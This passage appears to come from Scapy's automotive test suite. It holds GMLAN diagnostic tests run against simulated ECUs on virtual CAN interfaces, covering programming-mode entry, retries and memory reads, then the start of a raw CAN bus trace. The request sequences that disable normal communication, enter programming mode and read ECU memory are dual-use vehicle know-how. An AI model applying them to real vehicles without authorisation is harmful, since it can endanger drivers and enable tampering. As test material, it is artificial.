GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1) == False thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = timeout ProgrammingMode requestProgramming ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN(b"\xa2") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) pkt = GMLAN() / GMLAN_PM(subfunction=0x1) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1) == False thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True ###### negative respone = timeout DisableNormalCommunication ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN(b"\x28") if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1) == False thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True ###### retry tests = sequence of the correct messages, retry set started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN(b"\xe5") # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1, retry=0) == True thread.join(timeout=5) = negative response, make sure no retries are made ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) if len(requ) != 0: ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1, retry=0) == False thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = first fail at DisableNormalCommunication, then sequence of the correct messages started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN(b"\xe5") # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1, retry=1) == True thread.join(timeout=5) = first fail at ReportProgrammedState, then sequence of the correct messages started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x68" # Fail requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN() / GMLAN_NR(requestServiceId=0xA2, returnCode=0x12) # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN(b"\xe5") # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1, retry=1) == True thread.join(timeout=5) = first fail at ProgrammingMode requestProgramming, then sequence of the correct messages started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # Fail requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN() / GMLAN_NR(requestServiceId=0xA5, returnCode=0x12) # DisableNormalCommunication requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = b"\x68" # ReportProgrammedState requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN()/GMLAN_RPSPR(programmedState=0) # ProgrammingMode requestProgramming requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN(b"\xe5") isotpsock2.send(ack) # InitiateProgramming enableProgramming requ = isotpsock2.sniff(count=1, timeout=1) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1, retry=1) == True thread.join(timeout=5) = fail twice ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN() / GMLAN_NR(requestServiceId=0x28, returnCode=0x12) requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) if len(requ) != 0: ecusimSuccessfullyExecuted = False thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_InitDiagnostics(isotpsock, timeout=1, verbose=1, retry=1) == False thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True ############################################################################## + GMLAN_ReadMemoryByAddress Tests ############################################################################## = Positive, short length, scheme = 4 conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" ecusimSuccessfullyExecuted = True started = threading.Event() def ecusim(): global ecusimSuccessfullyExecuted ecusimSuccessfullyExecuted= True with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) pkt = GMLAN() / GMLAN_RMBA(memoryAddress=0x0, memorySize=0x8) if bytes(requ[0]) != bytes(pkt): ecusimSuccessfullyExecuted = False ack = GMLAN() / GMLAN_RMBAPR(memoryAddress=0x0, dataRecord=payload) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1) == payload thread.join(timeout=5) assert ecusimSuccessfullyExecuted == True = Negative, negative response conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x23, returnCode=0x31) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1) is None thread.join(timeout=5) = Negative, timeout with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1) is None ###### RETRY = Positive, negative response, retry succeeds conf.contribs['GMLAN']['GMLAN_ECU_AddressingScheme'] = 4 payload = b"\x00\x11\x22\x33\x44\x55\x66\x77" started = threading.Event() def ecusim(): with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x642, did=0x242, basecls=GMLAN) as isotpsock2: requ = isotpsock2.sniff(count=1, timeout=1, started_callback=started.set) ack = GMLAN() / GMLAN_NR(requestServiceId=0x23, returnCode=0x31) requ = isotpsock2.sniff(count=1, timeout=1, started_callback=lambda:isotpsock2.send(ack)) ack = GMLAN() / GMLAN_RMBAPR(memoryAddress=0x0, dataRecord=payload) isotpsock2.send(ack) thread = threading.Thread(target=ecusim) thread.start() started.wait(timeout=5) with new_can_socket0() as isocan, ISOTPSocket(isocan, sid=0x242, did=0x642, basecls=GMLAN) as isotpsock: assert GMLAN_ReadMemoryByAddress(isotpsock, 0x0, 0x8, timeout=1, retry=1) == payload thread.join(timeout=5) + Cleanup = Delete vcan interfaces ~ vcan_socket needs_root linux if 0 != call(["sudo", "ip", "link", "delete", iface0]): raise Exception("%s could not be deleted" % iface0) if 0 != call(["sudo", "ip", "link", "delete", iface1]): raise Exception("%s could not be deleted" % iface1) scapy-2.4.4/test/contrib/automotive/gmlan_trace.candump000077500000000000000000001201501372370053500233070ustar00rootroot00000000000000(0.297000) vcan2 12A#122010FF00001080 (2.713000) vcan2 1E1#00000400000000 (7.647000) vcan2 0F1#B10000400000 (10.240000) vcan2 135#0400000200000000 (12.778000) vcan2 1F3#000000 (15.153000) vcan2 451#000000000000 (17.670000) vcan2 0F1#8D0000400000 (20.251000) vcan2 137#0000000030000000 (22.741000) vcan2 3F1#00FF5F0C00FF0100 (27.657000) vcan2 0F1#990000400000 (30.210000) vcan2 139#0000000000000000 (32.718000) vcan2 1E1#000004000104F0 (35.159000) vcan2 451#000000000000 (37.676000) vcan2 0F1#A50000400000 (40.144000) vcan2 1F3#404000 (42.773000) vcan2 32A#0000000000000000 (50.172000) vcan2 0F1#B10000400000 (52.666000) vcan2 451#000000000000 (57.674000) vcan2 0F1#8D0000400000 (60.231000) vcan2 1E1#000004000208E0 (67.675000) vcan2 0F1#990000400000 (70.316000) vcan2 1F1#050A000008000070 (72.627000) vcan2 1F3#808000 (75.172000) vcan2 451#000000000000 (77.694000) vcan2 0F1#A50000400000 (80.201000) vcan2 3C9#0766000000000000 (87.680000) vcan2 0F1#B10000400000 (90.180000) vcan2 160#1C2A2E8703 (92.751000) vcan2 1E1#00000400030CD0 (95.236000) vcan2 451#000000000000 (97.704000) vcan2 0F1#8D0000400000 (100.345000) vcan2 12A#122010FF00001090 (102.640000) vcan2 1F3#C0C000 (107.691000) vcan2 0F1#990000400000 (110.282000) vcan2 135#0400000200000000 (112.861000) vcan2 451#000000000000 (117.698000) vcan2 0F1#A50000400000 (120.295000) vcan2 137#0000000030000000 (122.762000) vcan2 1E1#00000400000000 (127.700000) vcan2 0F1#B10000400000 (130.256000) vcan2 139#0000000000000000 (132.649000) vcan2 1F3#000000 (135.202000) vcan2 451#000000000000 (137.724000) vcan2 0F1#8D0000400000 (140.325000) vcan2 32A#0000000000000000 (147.710000) vcan2 0F1#990000400000 (150.282000) vcan2 1E1#000004000104F0 (152.717000) vcan2 451#000000000000 (157.713000) vcan2 0F1#A50000400000 (160.167000) vcan2 1F3#404000 (167.718000) vcan2 0F1#B10000400000 (170.359000) vcan2 1F1#050A000008000070 (172.715000) vcan2 451#000000000000 (177.723000) vcan2 0F1#8D0000400000 (180.284000) vcan2 1E1#000004000208E0 (182.747000) vcan2 3C9#0766000000000000 (187.724000) vcan2 0F1#990000400000 (190.227000) vcan2 160#1C2A2E8703 (192.710000) vcan2 1F3#808000 (195.262000) vcan2 451#000000000000 (197.745000) vcan2 0F1#A50000400000 (200.434000) vcan2 12A#122010FF000010A0 (207.736000) vcan2 0F1#B10000400000 (210.325000) vcan2 135#0400000200000000 (212.973000) vcan2 1E1#00000400030CD0 (215.240000) vcan2 451#000000000000 (217.757000) vcan2 0F1#8D0000400000 (220.337000) vcan2 137#0000000030000000 (222.688000) vcan2 1F3#C0C000 (227.744000) vcan2 0F1#990000400000 (230.299000) vcan2 139#0000000000000000 (232.737000) vcan2 451#000000000000 (237.749000) vcan2 0F1#A50000400000 (240.366000) vcan2 1E1#00000400000000 (242.874000) vcan2 32A#0000000000000000 (247.752000) vcan2 0F1#B10000400000 (250.253000) vcan2 1F3#000000 (252.755000) vcan2 451#000000000000 (257.761000) vcan2 0F1#8D0000400000 (267.758000) vcan2 0F1#990000400000 (270.235000) vcan2 120#000160F100 (272.822000) vcan2 1E1#000004000104F0 (275.403000) vcan2 1F1#050A000008000070 (277.777000) vcan2 0F1#A50000400000 (280.218000) vcan2 1F3#404000 (282.789000) vcan2 3C9#0766000000000000 (285.355000) vcan2 3F1#00FF5F0C00FF0100 (287.784000) vcan2 0F1#B10000400000 (290.287000) vcan2 140#000A00 (292.793000) vcan2 160#1C2A2E8703 (295.316000) vcan2 451#000000000000 (297.791000) vcan2 0F1#8D0000400000 (300.442000) vcan2 12A#122010FF000010B0 (302.836000) vcan2 1E1#000004000208E0 (305.271000) vcan2 4C5#0000000000 (307.792000) vcan2 0F1#990000400000 (310.368000) vcan2 135#0400000200000000 (312.911000) vcan2 1F3#808000 (315.282000) vcan2 451#000000000000 (317.798000) vcan2 0F1#A50000400000 (320.381000) vcan2 137#0000000030000000 (322.782000) vcan2 4E1#4843373933343934 (325.284000) vcan2 4E9#112000000300 (327.801000) vcan2 0F1#B10000400000 (330.342000) vcan2 139#0000000000000000 (332.845000) vcan2 1E1#00000400030CD0 (335.287000) vcan2 451#000000000000 (337.810000) vcan2 0F1#8D0000400000 (340.313000) vcan2 1F3#C0C000 (342.881000) vcan2 32A#0000000000000000 (345.348000) vcan2 514#304C444436453733 (347.809000) vcan2 0F1#990000400000 (350.319000) vcan2 451#000000000000 (352.862000) vcan2 52A#000037373737 (355.297000) vcan2 530#00000000 (357.810000) vcan2 0F1#A50000400000 (360.368000) vcan2 1E1#00000400000000 (367.801000) vcan2 0F1#B10000400000 (370.447000) vcan2 1F1#050A000008000070 (372.756000) vcan2 1F3#000000 (375.307000) vcan2 451#000000000000 (377.826000) vcan2 0F1#8D0000400000 (380.325000) vcan2 3C9#0766000000000000 (387.813000) vcan2 0F1#990000400000 (390.330000) vcan2 160#1C2A2E8703 (392.923000) vcan2 1E1#000004000104F0 (395.407000) vcan2 451#000000000000 (397.832000) vcan2 0F1#A50000400000 (400.473000) vcan2 12A#122010FF00001080 (402.769000) vcan2 1F3#404000 (407.821000) vcan2 0F1#B10000400000 (410.410000) vcan2 135#0400000200000000 (412.991000) vcan2 451#000000000000 (417.830000) vcan2 0F1#8D0000400000 (420.423000) vcan2 137#0000000030000000 (422.886000) vcan2 1E1#000004000208E0 (427.831000) vcan2 0F1#990000400000 (430.386000) vcan2 139#0000000000000000 (432.781000) vcan2 1F3#808000 (435.329000) vcan2 451#000000000000 (437.848000) vcan2 0F1#A50000400000 (440.451000) vcan2 32A#0000000000000000 (447.837000) vcan2 0F1#B10000400000 (450.406000) vcan2 1E1#00000400030CD0 (452.861000) vcan2 451#000000000000 (457.844000) vcan2 0F1#8D0000400000 (460.297000) vcan2 1F3#C0C000 (467.846000) vcan2 0F1#990000400000 (470.486000) vcan2 1F1#050A000008000070 (472.845000) vcan2 451#000000000000 (477.851000) vcan2 0F1#A50000400000 (480.421000) vcan2 1E1#00000400000000 (482.876000) vcan2 3C9#0766000000000000 (487.856000) vcan2 0F1#B10000400000 (490.356000) vcan2 160#1C2A2E8703 (492.839000) vcan2 1F3#000000 (495.388000) vcan2 451#000000000000 (497.878000) vcan2 0F1#8D0000400000 (500.557000) vcan2 12A#122010FF00001090 (507.864000) vcan2 0F1#990000400000 (510.454000) vcan2 135#0400000200000000 (513.101000) vcan2 1E1#000004000104F0 (515.366000) vcan2 451#000000000000 (517.884000) vcan2 0F1#A50000400000 (520.467000) vcan2 137#0000000030000000 (522.820000) vcan2 1F3#404000 (525.461000) vcan2 3F1#00FF5F0C00FF0100 (527.887000) vcan2 0F1#B10000400000 (530.428000) vcan2 139#0000000000000000 (532.871000) vcan2 451#000000000000 (537.880000) vcan2 0F1#8D0000400000 (540.487000) vcan2 1E1#000004000208E0 (542.986000) vcan2 32A#0000000000000000 (547.879000) vcan2 0F1#990000400000 (550.352000) vcan2 1F3#808000 (552.889000) vcan2 451#000000000000 (557.886000) vcan2 0F1#A50000400000 (567.890000) vcan2 0F1#B10000400000 (570.451000) vcan2 1E1#00000400030CD0 (573.035000) vcan2 1F1#050A000008000070 (575.390000) vcan2 451#000000000000 (577.913000) vcan2 0F1#8D0000400000 (580.346000) vcan2 1F3#C0C000 (582.916000) vcan2 3C9#0766000000000000 (587.900000) vcan2 0F1#990000400000 (590.399000) vcan2 160#1C2A2E8703 (592.903000) vcan2 451#000000000000 (597.905000) vcan2 0F1#A50000400000 (600.546000) vcan2 12A#122010FF000010A0 (602.971000) vcan2 1E1#00000400000000 (607.908000) vcan2 0F1#B10000400000 (610.497000) vcan2 135#0400000200000000 (613.037000) vcan2 1F3#000000 (615.408000) vcan2 451#000000000000 (617.929000) vcan2 0F1#8D0000400000 (620.510000) vcan2 137#0000000030000000 (627.914000) vcan2 0F1#990000400000 (630.471000) vcan2 139#0000000000000000 (632.976000) vcan2 1E1#000004000104F0 (635.419000) vcan2 451#000000000000 (637.933000) vcan2 0F1#A50000400000 (640.442000) vcan2 1F3#404000 (642.993000) vcan2 32A#0000000000000000 (647.924000) vcan2 0F1#B10000400000 (650.479000) vcan2 451#000000000000 (657.935000) vcan2 0F1#8D0000400000 (660.492000) vcan2 1E1#000004000208E0 (667.933000) vcan2 0F1#990000400000 (670.572000) vcan2 1F1#050A000008000070 (672.882000) vcan2 1F3#808000 (675.435000) vcan2 451#000000000000 (677.952000) vcan2 0F1#A50000400000 (680.456000) vcan2 3C9#0766000000000000 (687.845000) vcan2 0F1#B10000400000 (690.354000) vcan2 160#1C2A2E8703 (692.944000) vcan2 1E1#00000400030CD0 (695.431000) vcan2 451#000000000000 (697.866000) vcan2 0F1#8D0000400000 (700.508000) vcan2 12A#122010FF000010B0 (702.801000) vcan2 1F3#C0C000 (707.853000) vcan2 0F1#990000400000 (710.442000) vcan2 135#0400000200000000 (713.024000) vcan2 451#000000000000 (717.854000) vcan2 0F1#A50000400000 (720.455000) vcan2 137#0000000030000000 (722.925000) vcan2 1E1#00000400000000 (727.859000) vcan2 0F1#B10000400000 (730.416000) vcan2 139#0000000000000000 (732.814000) vcan2 1F3#000000 (735.363000) vcan2 451#000000000000 (737.884000) vcan2 0F1#8D0000400000 (740.472000) vcan2 32A#0000000000000000 (747.871000) vcan2 0F1#990000400000 (750.462000) vcan2 1E1#000004000104F0 (752.896000) vcan2 451#000000000000 (757.874000) vcan2 0F1#A50000400000 (760.325000) vcan2 1F3#404000 (767.881000) vcan2 0F1#B10000400000 (770.516000) vcan2 1F1#050A000008000070 (772.967000) vcan2 3F1#00FF5F0C00FF0100 (775.376000) vcan2 451#000000000000 (777.902000) vcan2 0F1#8D0000400000 (780.445000) vcan2 1E1#000004000208E0 (782.904000) vcan2 3C9#0766000000000000 (785.374000) vcan2 4C5#0000000000 (787.901000) vcan2 0F1#990000400000 (790.398000) vcan2 160#1C2A2E8703 (792.864000) vcan2 1F3#808000 (795.413000) vcan2 451#000000000000 (797.906000) vcan2 0F1#A50000400000 (800.582000) vcan2 12A#122010FF00001080 (807.893000) vcan2 0F1#B10000400000 (810.486000) vcan2 135#0400000200000000 (813.130000) vcan2 1E1#00000400030CD0 (815.401000) vcan2 451#000000000000 (817.916000) vcan2 0F1#8D0000400000 (820.501000) vcan2 137#0000000030000000 (822.852000) vcan2 1F3#C0C000 (827.903000) vcan2 0F1#990000400000 (830.456000) vcan2 139#0000000000000000 (832.901000) vcan2 451#000000000000 (837.910000) vcan2 0F1#A50000400000 (840.521000) vcan2 1E1#00000400000000 (843.016000) vcan2 32A#0000000000000000 (847.913000) vcan2 0F1#B10000400000 (850.386000) vcan2 1F3#000000 (852.913000) vcan2 451#000000000000 (857.922000) vcan2 0F1#8D0000400000 (867.922000) vcan2 0F1#990000400000 (870.484000) vcan2 1E1#000004000104F0 (873.063000) vcan2 1F1#050A000008000070 (875.416000) vcan2 451#000000000000 (877.939000) vcan2 0F1#A50000400000 (880.379000) vcan2 1F3#404000 (882.948000) vcan2 3C9#0766000000000000 (887.930000) vcan2 0F1#B10000400000 (890.404000) vcan2 160#1C2A2E8703 (893.001000) vcan2 451#000000000000 (897.935000) vcan2 0F1#8D0000400000 (900.573000) vcan2 12A#122010FF00001090 (902.998000) vcan2 1E1#000004000208E0 (907.936000) vcan2 0F1#990000400000 (910.530000) vcan2 135#0400000200000000 (913.067000) vcan2 1F3#808000 (915.442000) vcan2 451#000000000000 (917.958000) vcan2 0F1#A50000400000 (920.541000) vcan2 137#0000000030000000 (927.948000) vcan2 0F1#B10000400000 (930.500000) vcan2 139#0000000000000000 (933.007000) vcan2 1E1#00000400030CD0 (935.450000) vcan2 451#000000000000 (937.969000) vcan2 0F1#8D0000400000 (940.467000) vcan2 1F3#C0C000 (943.036000) vcan2 32A#0000000000000000 (947.956000) vcan2 0F1#990000400000 (950.546000) vcan2 451#000000000000 (957.961000) vcan2 0F1#A50000400000 (960.529000) vcan2 1E1#00000400000000 (967.966000) vcan2 0F1#B10000400000 (970.607000) vcan2 1F1#050A000008000070 (972.916000) vcan2 1F3#000000 (975.464000) vcan2 451#000000000000 (977.987000) vcan2 0F1#8D0000400000 (980.490000) vcan2 3C9#0766000000000000 (987.970000) vcan2 0F1#990000400000 (990.471000) vcan2 160#1C2A2E8703 (993.044000) vcan2 1E1#000004000104F0 (995.528000) vcan2 451#000000000000 (997.991000) vcan2 0F1#A50000400000 (1000.634000) vcan2 12A#122010FF000010A0 (1002.932000) vcan2 1F3#404000 (1007.982000) vcan2 0F1#B10000400000 (1010.571000) vcan2 135#0400000200000000 (1013.153000) vcan2 451#000000000000 (1017.991000) vcan2 0F1#8D0000400000 (1020.584000) vcan2 137#0000000030000000 (1023.048000) vcan2 1E1#000004000208E0 (1025.579000) vcan2 3F1#00FF5F0C00FF0100 (1028.004000) vcan2 0F1#990000400000 (1030.546000) vcan2 139#0000000000000000 (1032.939000) vcan2 1F3#808000 (1035.492000) vcan2 451#000000000000 (1038.009000) vcan2 0F1#A50000400000 (1040.601000) vcan2 32A#0000000000000000 (1048.000000) vcan2 0F1#B10000400000 (1050.563000) vcan2 1E1#00000400030CD0 (1052.999000) vcan2 451#000000000000 (1058.007000) vcan2 0F1#8D0000400000 (1060.456000) vcan2 1F3#C0C000 (1068.008000) vcan2 0F1#990000400000 (1070.651000) vcan2 1F1#050A000008000070 (1073.006000) vcan2 451#000000000000 (1078.009000) vcan2 0F1#A50000400000 (1080.580000) vcan2 1E1#00000400000000 (1083.037000) vcan2 3C9#0766000000000000 (1088.014000) vcan2 0F1#B10000400000 (1090.523000) vcan2 160#1C2A2E8703 (1093.010000) vcan2 1F3#000000 (1095.576000) vcan2 451#000000000000 (1098.039000) vcan2 0F1#8D0000400000 (1100.702000) vcan2 12A#122010FF000010B0 (1108.026000) vcan2 0F1#990000400000 (1110.615000) vcan2 135#0400000200000000 (1113.264000) vcan2 1E1#000004000104F0 (1115.529000) vcan2 451#000000000000 (1118.043000) vcan2 0F1#A50000400000 (1120.628000) vcan2 137#0000000030000000 (1122.977000) vcan2 1F3#404000 (1128.035000) vcan2 0F1#B10000400000 (1130.591000) vcan2 139#0000000000000000 (1133.028000) vcan2 451#000000000000 (1138.044000) vcan2 0F1#8D0000400000 (1140.656000) vcan2 1E1#000004000208E0 (1143.099000) vcan2 32A#0000000000000000 (1148.043000) vcan2 0F1#990000400000 (1150.579000) vcan2 1F3#808000 (1153.058000) vcan2 451#000000000000 (1158.048000) vcan2 0F1#A50000400000 (1168.049000) vcan2 0F1#B10000400000 (1170.612000) vcan2 1E1#00000400030CD0 (1173.197000) vcan2 1F1#050A000008000070 (1175.551000) vcan2 451#000000000000 (1178.072000) vcan2 0F1#8D0000400000 (1180.509000) vcan2 1F3#C0C000 (1183.081000) vcan2 3C9#0766000000000000 (1188.059000) vcan2 0F1#990000400000 (1190.562000) vcan2 160#1C2A2E8703 (1193.088000) vcan2 451#000000000000 (1198.064000) vcan2 0F1#A50000400000 (1200.723000) vcan2 12A#122010FF00001080 (1203.132000) vcan2 1E1#00000400000000 (1208.069000) vcan2 0F1#B10000400000 (1210.658000) vcan2 135#0400000200000000 (1213.199000) vcan2 1F3#000000 (1215.573000) vcan2 451#000000000000 (1218.092000) vcan2 0F1#8D0000400000 (1220.671000) vcan2 137#0000000030000000 (1228.079000) vcan2 0F1#990000400000 (1230.632000) vcan2 139#0000000000000000 (1233.137000) vcan2 1E1#000004000104F0 (1235.577000) vcan2 451#000000000000 (1238.096000) vcan2 0F1#A50000400000 (1240.595000) vcan2 1F3#404000 (1243.173000) vcan2 32A#0000000000000000 (1248.087000) vcan2 0F1#B10000400000 (1250.626000) vcan2 451#000000000000 (1258.092000) vcan2 0F1#8D0000400000 (1260.653000) vcan2 1E1#000004000208E0 (1268.092000) vcan2 0F1#990000400000 (1270.736000) vcan2 1F1#050A000008000070 (1273.047000) vcan2 1F3#808000 (1275.686000) vcan2 3F1#00FF5F0C00FF0100 (1278.113000) vcan2 0F1#A50000400000 (1280.617000) vcan2 3C9#0766000000000000 (1283.096000) vcan2 451#000000000000 (1285.591000) vcan2 4C5#0000000000 (1288.117000) vcan2 0F1#B10000400000 (1290.646000) vcan2 140#000A00 (1293.077000) vcan2 160#1C2A2E8703 (1295.739000) vcan2 1E1#00000400030CD0 (1298.130000) vcan2 0F1#8D0000400000 (1300.817000) vcan2 12A#122010FF00001090 (1303.058000) vcan2 1F3#C0C000 (1305.610000) vcan2 451#000000000000 (1308.127000) vcan2 0F1#990000400000 (1310.700000) vcan2 135#0400000200000000 (1313.286000) vcan2 4E9#112000000300 (1315.631000) vcan2 52A#000037373737 (1318.130000) vcan2 0F1#A50000400000 (1320.714000) vcan2 137#0000000030000000 (1323.183000) vcan2 1E1#00000400000000 (1325.616000) vcan2 451#000000000000 (1328.134000) vcan2 0F1#B10000400000 (1330.677000) vcan2 139#0000000000000000 